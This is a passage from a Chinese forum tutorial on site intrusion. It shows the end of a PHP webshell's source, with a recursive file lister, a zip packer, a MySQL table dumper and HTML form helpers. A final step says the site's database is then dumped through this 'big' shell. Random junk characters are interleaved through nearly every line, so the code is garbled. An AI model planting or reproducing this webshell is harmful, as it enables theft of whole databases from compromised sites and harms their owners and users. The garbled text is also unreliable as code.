    ' a& b+ U2 z+ M! ?6 p
  1691.                 static $a;
    : b' @, L9 \6 S5 O
  1692.                 if (is_dir($dir)) {  A2 \/ A" O' Y9 X' }4 z# L
  1693.                         if ($dh = opendir($dir)) {
    * Y$ h7 z. ^# n+ D0 f
  1694.                                 while ($file = readdir($dh)) {' s. Z8 f9 p$ B6 m+ E0 s( v* j
  1695.                                         if($file!='.' && $file!='..'){( V0 ~2 i& M/ G# n
  1696.                                                 $f=$dir .'/'. $file;9 }# i" i" ]% t& u% ^- Q
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);" o7 x* r0 w+ l. V0 y
  1698.                                                 $a[]=$f;& Q. f7 O$ Q8 {# M/ J5 r
  1699.                                         }1 e& B; ?2 K7 e' m) y6 X2 a) D
  1700.                                 }" v5 u# R* D" g
  1701.                                 closedir($dh);& }0 |. q$ `# t. s2 B& B( X1 X
  1702.                         }( @1 a3 `5 e) u; Z& o/ F2 B, \
  1703.                 }; i6 w5 D1 E4 l, S# l. i% l9 h
  1704.                 return $a;
    0 U% i/ I# ?; p* ^& [; P) g
  1705.         }% J* n/ B& n5 ^; @

  1706. $ \  n  Z& [  U, H  b; {. c
  1707.         var $datasec      = array();
    ) c( d2 D  M4 i  N# ]
  1708.         var $ctrl_dir     = array();
    . H; y9 T3 j' V% L! Y) N* V; t
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    4 G- F* n* z( m( u4 j
  1710.         var $old_offset   = 0;! a, Q* n* h, v/ y2 m& A% Z2 O" q6 f
  1711. 3 C. u5 x+ ~7 Z! r+ H0 C; W/ D8 S. y
  1712.         function unix2DosTime($unixtime = 0) {
    . b. x, q4 O2 r' Y9 v$ r6 n
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);; o/ Q: U4 L+ [3 L
  1714.                 if ($timearray['year'] < 1980) {
    9 q: ]4 H& K3 o+ t' h* ]8 i, L1 [6 \
  1715.                         $timearray['year']    = 1980;7 n1 Z- d4 m4 M  L: Y' B9 y) L
  1716.                         $timearray['mon']     = 1;$ J& s1 J0 p0 @$ Q1 [4 b5 m7 |
  1717.                         $timearray['mday']    = 1;
    0 f2 M7 W6 I  S7 ^2 G
  1718.                         $timearray['hours']   = 0;
    / B: ]. U# U2 @" `( e
  1719.                         $timearray['minutes'] = 0;
    1 s$ Y0 b& q+ X9 E2 U) Z2 Y$ J) K( b
  1720.                         $timearray['seconds'] = 0;
    # U+ A) [# p  M1 l
  1721.                 } // end if
    6 i) I! ^" R6 @0 e3 o. [( y, |; O
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |" z  y" T; o& F* f
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);& Z1 C, e# o; j1 G+ g7 X0 J& l
  1724.         }
    4 j: d! q. `5 _+ G
  1725.         function addFile($data, $name, $time = 0) {: D6 z& n# |( A' q5 I
  1726.                 $name = str_replace('\\', '/', $name);" q5 R2 k- S3 e7 F1 _: d
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    % a5 Z+ s5 t8 ~8 Q9 o
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]/ N" Z) G( q) H, G% E7 t
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    3 w3 c$ X' f6 y; i5 x" I0 w
  1730.                                         . '\x' . $dtime[2] . $dtime[3]( P0 u5 g: \" t4 q5 }
  1731.                                         . '\x' . $dtime[0] . $dtime[1];8 |5 n4 H% y/ b6 a0 X
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    5 c4 h; W( \% H4 M7 ~% s
  1733.                 $fr        = "\x50\x4b\x03\x04";
    / ]0 W% _. Z5 R! Y( I
  1734.                 $fr        .= "\x14\x00";
    8 a& ]8 X% t/ F2 {6 y* g
  1735.                 $fr        .= "\x00\x00";2 j7 |. A' ?, M$ }9 s6 r! D
  1736.                 $fr        .= "\x08\x00";
    + Q# C( r* h8 U$ e3 Y! H( t
  1737.                 $fr        .= $hexdtime;
    4 j0 [, j8 j! L% j
  1738.                 $unc_len = strlen($data);$ V  t; P- a- u6 X; u4 ^- s: S
  1739.                 $crc = crc32($data);( J3 Z2 I/ ]% G& n) \3 ^# J
  1740.                 $zdata = gzcompress($data);
    ; N3 M2 G# a' m- P. x3 B/ [% g$ T
  1741.                 $c_len = strlen($zdata);
    8 B7 `9 c' b( y8 d
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);& S6 l- o$ U2 I- \" O
  1743.                 $fr .= pack('V', $crc);* g; w" q4 ?9 v' N( \% I: u2 I
  1744.                 $fr .= pack('V', $c_len);3 m8 b- _) O7 ]8 t4 n4 m
  1745.                 $fr .= pack('V', $unc_len);
    ; J3 B' e6 s$ V+ S
  1746.                 $fr .= pack('v', strlen($name));8 i& E# h) m1 z7 G
  1747.                 $fr .= pack('v', 0);
    8 l9 P3 c4 S/ W/ z4 ]
  1748.                 $fr .= $name;6 x3 p5 c5 i0 I
  1749.                 $fr .= $zdata;
    4 m8 K2 l3 ~. y: u) N
  1750.                 $fr .= pack('V', $crc);
    - I5 L2 q( s* ?0 h( `
  1751.                 $fr .= pack('V', $c_len);: T# l, M* Q3 z# U
  1752.                 $fr .= pack('V', $unc_len);& x4 q( V8 Y5 Z5 d- C% w
  1753.                 $this -> datasec[] = $fr;; S- p3 C( i% T+ I
  1754.                 $new_offset = strlen(implode('', $this->datasec));) }% T- G+ W6 q, \
  1755.                 $cdrec = "\x50\x4b\x01\x02";
    4 e. o: n. F: q' @" z: H7 W& {4 @
  1756.                 $cdrec .= "\x00\x00";1 B; h' q' o3 D7 P
  1757.                 $cdrec .= "\x14\x00";
    . W- k3 L( ~) p, @& k* }( J, o
  1758.                 $cdrec .= "\x00\x00";+ n. F& I5 z! z) `8 a4 o3 J" c2 Y
  1759.                 $cdrec .= "\x08\x00";5 [7 [8 g8 B) w3 P
  1760.                 $cdrec .= $hexdtime;  D/ _% k" w8 g4 w+ |
  1761.                 $cdrec .= pack('V', $crc);+ |0 c! Q! O, M$ |; g
  1762.                 $cdrec .= pack('V', $c_len);1 I* l8 U' ~/ k, I! Q* M
  1763.                 $cdrec .= pack('V', $unc_len);! _+ A# K* \! _, h& K/ C
  1764.                 $cdrec .= pack('v', strlen($name) );
    8 e. `1 ]8 L  |( Z5 Q3 X
  1765.                 $cdrec .= pack('v', 0 );: F/ v2 V# F2 [! P- J0 n
  1766.                 $cdrec .= pack('v', 0 );8 w* U1 w. o# o5 S6 ^; @
  1767.                 $cdrec .= pack('v', 0 );4 z( D0 u& M& ~" h4 D8 `9 a
  1768.                 $cdrec .= pack('v', 0 );* J+ S! w/ u+ {( t& j1 Z
  1769.                 $cdrec .= pack('V', 32 );
    ) |7 o5 t' T3 r9 v
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    ' G3 m4 }, f, e2 e7 F
  1771.                 $this -> old_offset = $new_offset;' G! o. \+ @0 l( L3 h
  1772.                 $cdrec .= $name;& q1 W4 Z. L& ^  O
  1773.                 $this -> ctrl_dir[] = $cdrec;1 m, e& M% \6 |) r5 Q7 G3 {
  1774.         }' g; t* ?. y1 A% C
  1775.         function file() {2 k! r) F0 @2 O$ l4 O& b6 G
  1776.                 $data    = implode('', $this -> datasec);
      I' A0 l/ D' n4 \4 x: z7 [
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);0 Q$ e0 n2 p$ L" i
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";* L2 {. @6 |: h1 J0 e* A  I4 N$ M
  1779.         }0 X$ k) g$ y' w) c# U4 r
  1780. }) }$ N# K* r- h6 X- ?& K: Q7 r+ \
  1781. // 备份数据库
    ( Y& d5 y8 m3 U, b' p
  1782. function sqldumptable($table, $fp=0) {% F6 ~& U/ k0 A, b$ H2 j( S/ {
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";1 ^- t# M! O( A' x: q3 F/ P7 c
  1784.         $tabledump .= "CREATE TABLE $table (\n";8 S/ {$ p# T, ?" n% a2 a8 q
  1785.         $firstfield=1;
    " {3 T) q/ I; D' |1 n" Q
  1786.         $fields = q("SHOW FIELDS FROM $table");
      R4 ~  I% I+ c
  1787.         while ($field = mysql_fetch_array($fields)) {8 r  H! _$ `% o0 q* u
  1788.                 if (!$firstfield) {  ?% c( n, d1 T2 \/ J7 n
  1789.                         $tabledump .= ",\n";, g! |( S+ r6 \
  1790.                 } else {* c+ q/ ?/ S4 {. f
  1791.                         $firstfield=0;
    : Z4 d7 T: y5 {8 v) n; |) ?
  1792.                 }
    0 X& ^4 [/ r. ^% f4 q. U8 U
  1793.                 $tabledump .= "   $field[Field] $field[Type]";" i0 K% t& k0 P. }+ J( {
  1794.                 if (!empty($field["Default"])) {
    " D; T& A3 P! w7 e8 \
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    5 E8 b7 N5 E& p5 u7 S  P  _9 F* ^
  1796.                 }% O0 O2 @( A, ~) s/ F
  1797.                 if ($field['Null'] != "YES") {, L/ b0 A' ?9 L2 u1 N$ u
  1798.                         $tabledump .= " NOT NULL";
    6 n" m0 }( H+ [% W$ H
  1799.                 }
    ) p: B$ B6 w" n* u% `) H
  1800.                 if ($field['Extra'] != "") {
    0 k3 Y- @5 h' I5 y8 `
  1801.                         $tabledump .= " $field[Extra]";" j. D6 c4 D" t. e- e
  1802.                 }
    8 \; ^' D- e7 {: b, R, r
  1803.         }
    - S2 \) ]% f5 @% u8 g
  1804.         fr($fields);& B7 N% U; L* X6 |) ^* [
  1805.         $keys = q("SHOW KEYS FROM $table");
    & o, B. @: U9 o, g& A: o6 W. Y$ `
  1806.         while ($key = mysql_fetch_array($keys)) {; l$ ~; Z! c% v
  1807.                 $kname=$key['Key_name'];: `8 `4 W) H" N9 i8 v3 F
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    3 W0 `. f" W. N
  1809.                         $kname="UNIQUE|$kname";, o" w0 G, s+ v6 m
  1810.                 }2 }5 Z8 v8 X1 {6 ]: [! t3 d
  1811.                 if(!is_array($index[$kname])) {
    8 \5 F8 s& P9 ]& }
  1812.                         $index[$kname] = array();4 h% e) Y: J. H  @
  1813.                 }
    * [8 f1 @7 p1 D! g! D
  1814.                 $index[$kname][] = $key['Column_name'];  ]( m: s) A3 T! N7 }' }: E# w: \
  1815.         }
    4 C, C! c1 G6 ?
  1816.         fr($keys);
    7 @7 d9 f0 C$ [3 Z2 @
  1817.         while(list($kname, $columns) = @each($index)) {
    ' t7 V6 `6 E6 i" p4 b* ~% `
  1818.                 $tabledump .= ",\n";
    0 Z+ o. ?5 Q: P8 ^
  1819.                 $colnames=implode($columns,",");1 r3 g4 N% v3 r4 @
  1820.                 if ($kname == "PRIMARY") {
    , `9 h8 w: Y# ~* f9 W1 k9 a6 R' L
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";  @3 E1 h4 v1 f) O* v' c
  1822.                 } else {- z! R+ D9 S0 [6 @3 v# R; i% E7 H" f
  1823.                         if (substr($kname,0,6) == "UNIQUE") {! o0 Y8 q/ g) d& a6 X; a/ K
  1824.                                 $kname=substr($kname,7);  R3 y& ?/ B! c) f8 x
  1825.                         }0 o6 X- v" @* n$ q$ m
  1826.                         $tabledump .= "   KEY $kname ($colnames)";% w- m, q4 J: c7 v4 u. |
  1827.                 }
    . ?0 |: d; `, }* Y
  1828.         }  [0 V: U1 G7 x+ }
  1829.         $tabledump .= "\n);\n\n";
      [, b1 w' Y* d( J/ w3 m
  1830.         if ($fp) {
    , r$ D' S9 M$ L9 x1 C( X$ {' P
  1831.                 fwrite($fp,$tabledump);
    $ s; }) S' z; ~; D! l
  1832.         } else {' V2 r+ f8 L% r' j# Y! O8 J
  1833.                 echo $tabledump;! X9 ?4 r) X: ~+ v( x! i
  1834.         }
    4 E9 ]% |# `! C, R
  1835.         $rows = q("SELECT * FROM $table");) N3 G' Y4 I0 |
  1836.         $numfields = mysql_num_fields($rows);
    ; U" O& V" A9 S. ^& D# ]# H- i
  1837.         while ($row = mysql_fetch_array($rows)) {
    * h, T$ U5 ~: o: [8 S  j
  1838.                 $tabledump = "INSERT INTO $table VALUES(";1 o; X. ?5 v: d4 C; o6 U1 X
  1839.                 $fieldcounter=-1;, u# |0 N6 X  D: f% N
  1840.                 $firstfield=1;4 _/ w. d4 E! M6 h
  1841.                 while (++$fieldcounter<$numfields) {3 I# W. L& j( F+ J' |
  1842.                         if (!$firstfield) {# u+ w  z$ A+ H9 S: \- ~
  1843.                                 $tabledump.=", ";
    9 x; r; d  {% o+ Y0 w* E
  1844.                         } else {4 s7 {, @" j  A% X) K
  1845.                                 $firstfield=0;
    - u& Y; i" G# B; [3 L2 P# m
  1846.                         }
    , z& E4 m% E9 N
  1847.                         if (!isset($row[$fieldcounter])) {
    + {& ?1 ^/ @# z$ R
  1848.                                 $tabledump .= "NULL";0 e# t4 a5 e: |% _
  1849.                         } else {
    & r3 ?+ b9 g+ f' Y
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";8 y# C9 g* q4 G& d& M- Q- E
  1851.                         }
    . y7 S# i) a0 S+ O, Y5 `! f
  1852.                 }
    9 R' e, _$ z0 A& M
  1853.                 $tabledump .= ");\n";& |2 f) J3 L' m! Y. t0 v$ P# s4 u
  1854.                 if ($fp) {
    % S/ J5 \* }! a3 g( j) U
  1855.                         fwrite($fp,$tabledump);' M" M& d+ w+ T" G
  1856.                 } else {
    ; U) v# k3 l! J" ^# k
  1857.                         echo $tabledump;- v" j) K( B+ j4 C
  1858.                 }/ r4 Y  i( l, u* l( c
  1859.         }' e& \2 B8 m/ b' [/ R6 }
  1860.         fr($rows);6 ~' S$ g9 K- s) a& y) Y( ~
  1861.         if ($fp) {
    ; s5 M: m: f8 S0 Q/ ?
  1862.                 fwrite($fp,"\n");: A0 Q! i2 a% A8 ]+ _
  1863.         } else {
    & t9 ?5 m9 E  f# e
  1864.                 echo "\n";
      ~0 k/ a, w  P
  1865.         }# I! v' a) f  l. z
  1866. }) k+ P" P% s+ y* M+ r9 }3 J
  1867. function ue($str){& {# L; ?" n! r$ Y2 L( z. j
  1868.         return urlencode($str);
    4 y6 u; P! C+ k3 u  Q) K1 j
  1869. }
    0 ~8 i/ ]' {$ J  d
  1870. function p($str){8 f, y5 e0 \2 K7 g8 n
  1871.         echo $str."\n";: N! W  Y: |0 ]4 X
  1872. }: v7 B8 N9 s9 }) S4 H
  1873. function tbhead() {
    2 M" U- G7 _: ~2 M% ~
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; ]; h" v( s3 @' S7 ^  Y6 u2 i2 q
  1875. }
    # d0 q, z9 C* u# [: n4 y4 o) }& p
  1876. function tbfoot(){
    # P7 F! R2 S% q( ~5 T
  1877.         p('</table>');
    1 L# \; H8 r0 ^) i2 A7 V
  1878. }) W0 C0 ?- W! T7 o  [
  1879. function makehide($name,$value=''){
    ' K) N3 M, b# \: v
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");1 D7 q$ U0 ?9 j6 T: w' g. H, P
  1881. }6 V2 O6 u  c: g
  1882. function makeinput($arg = array()){1 ]  v1 j/ s1 }4 K2 q
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    5 t" t) ~0 _/ M! ~0 p
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';- C0 Q8 s7 X4 H# s, C' G
  1885.         !$arg['type'] && $arg['type'] = 'text';
    . c3 J1 m2 T) t; O1 d$ ?- k
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    * D6 b" L0 a- W% _6 _
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';* _9 s* l$ o8 b6 W' C
  1888.         if ($arg['newline']) {+ V) O5 f9 w% X8 n/ b
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    5 o8 V' {8 `3 g1 \: w7 D& s' U
  1890.         } else {8 Y  _& l# X9 c. w- F) ?1 x( P4 g
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    & @5 n  K( Z9 h/ C# C- D
  1892.         }
    6 ^/ v+ j7 n% m9 e$ X
  1893. }( J5 Q" B& o, c& I- i% S8 d$ S
  1894. function makeselect($arg = array()){- H- X- Q4 x) z/ O3 d
  1895.         if ($arg['onchange']) {
    0 A) p% u8 j+ K6 E# p; j, R7 a
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';; i3 b- v: T  l( N  q
  1897.         }6 }# R* X+ ]5 B: Q1 U
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    & f. U$ N# P/ y7 q% }. n4 b
  1899.         if ($arg['newline']) p('<p>');
    * S2 u- H9 p" ^  F% C& w# p  ^5 o
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");0 f' y3 @0 l# Y  E( @
  1901.                 if (is_array($arg['option'])) {
    . d, n7 i$ H6 o- j7 U& W  E8 N
  1902.                         foreach ($arg['option'] as $key=>$value) {
    ; a0 X: x% K. A$ y8 O
  1903.                                 if ($arg['selected']==$key) {; [) y. M' b. }  W+ ^! @& A/ S
  1904.                                         p("<option value="$key" selected>$value</option>");" b0 m* s5 W, {( g$ L) q
  1905.                                 } else {
    - \, a1 ~( M" g$ d3 i
  1906.                                         p("<option value="$key">$value</option>");" ]7 `( W1 G6 B: ~
  1907.                                 }! u3 e. z& V5 M- U6 m
  1908.                         }
    4 N* |8 M# ]( S" Q0 S
  1909.                 }% U; P$ Z* ~- B: n
  1910.         p("</select>");. v7 G1 t/ p8 Z' ^" p
  1911.         if ($arg['newline']) p('</p>');+ ?# h* p* n$ p  p9 Z. v
  1912. }
    3 |6 K6 O) T2 J0 u, `$ G
  1913. function formhead($arg = array()) {( o$ N% }( o5 f' x1 L
  1914.         !$arg['method'] && $arg['method'] = 'post';
    * g& T2 t! m8 D& {) H( f4 x" C5 Y2 r8 C
  1915.         !$arg['action'] && $arg['action'] = $self;
    0 O9 [/ Z( r7 g
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';, F% k/ K  w6 m
  1917.         !$arg['name'] && $arg['name'] = 'form1';; j; p/ C3 e/ b3 I
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      p' B+ h' c+ C; {8 T; P5 \- b/ ]0 W$ z
  1919.         if ($arg['title']) {: k6 z( m! U) \
  1920.                 p('<h2>'.$arg['title'].' »</h2>');$ W3 Q4 x" v! k  v
  1921.         }9 |3 `+ S$ x! F6 ?
  1922. }
    8 A% \, x- e4 T# I# D8 D' e
  1923.         2 n7 T" s0 G8 g" z& M& g
  1924. function maketext($arg = array()){$ {: o$ c% q5 V% `  c: \
  1925.         !$arg['cols'] && $arg['cols'] = 100;; H# o; }5 R: d. x
  1926.         !$arg['rows'] && $arg['rows'] = 25;0 H4 n: k" ?: k
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';* n; e( ]: G( }& A1 c7 J
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");+ j. s& y2 x- _' M3 u
  1929. }
    ' l4 G9 b6 E6 Q! C

  1930. * o5 k' z9 [! q2 k$ m6 x; N
  1931. function formfooter($name = ''){
    * }1 B1 i+ a! \( }
  1932.         !$name && $name = 'submit';2 n2 c6 ~. v1 E9 g: W8 c
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    & A$ o+ n8 q0 n% Z. b
  1934.         p('</form>');8 {9 h, Y+ M9 \4 b$ {: z
  1935. }9 ^- m6 C1 C- k$ }

  1936. # U4 `$ b. X# L9 @) Q
  1937. function formfoot(){7 [& p. I$ g% O$ P
  1938.         p('</form>');7 |6 ^; t+ l" g, s
  1939. }, y7 p5 u' D- {: s- }$ q- i

  1940. ) |: f% E5 Y# G4 B( c. t
  1941. // 调试函数, V/ e6 S" ~+ j: A  }8 t
  1942. function pr($a) {) M0 U# g3 L# E
  1943.         echo '<pre>';9 B' o5 B; a( F# X( J$ ?% \6 f) u
  1944.         print_r($a);
    , w$ |8 U" y2 K% z4 u( C  R  A
  1945.         echo '</pre>';
    ; q. `) F9 ?9 U5 f) W
  1946. }
    6 E! ~' p2 Z: `: t* K& E

  1947. $ B& M  y# i( v3 w
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库: E1 G' o" o0 S, w

9 H9 `' d$ ~# G1 M2 D# p6 ]
' L3 W2 h1 @& x9 ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2025-2-25 10:22 , Processed in 0.099203 second(s), 23 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表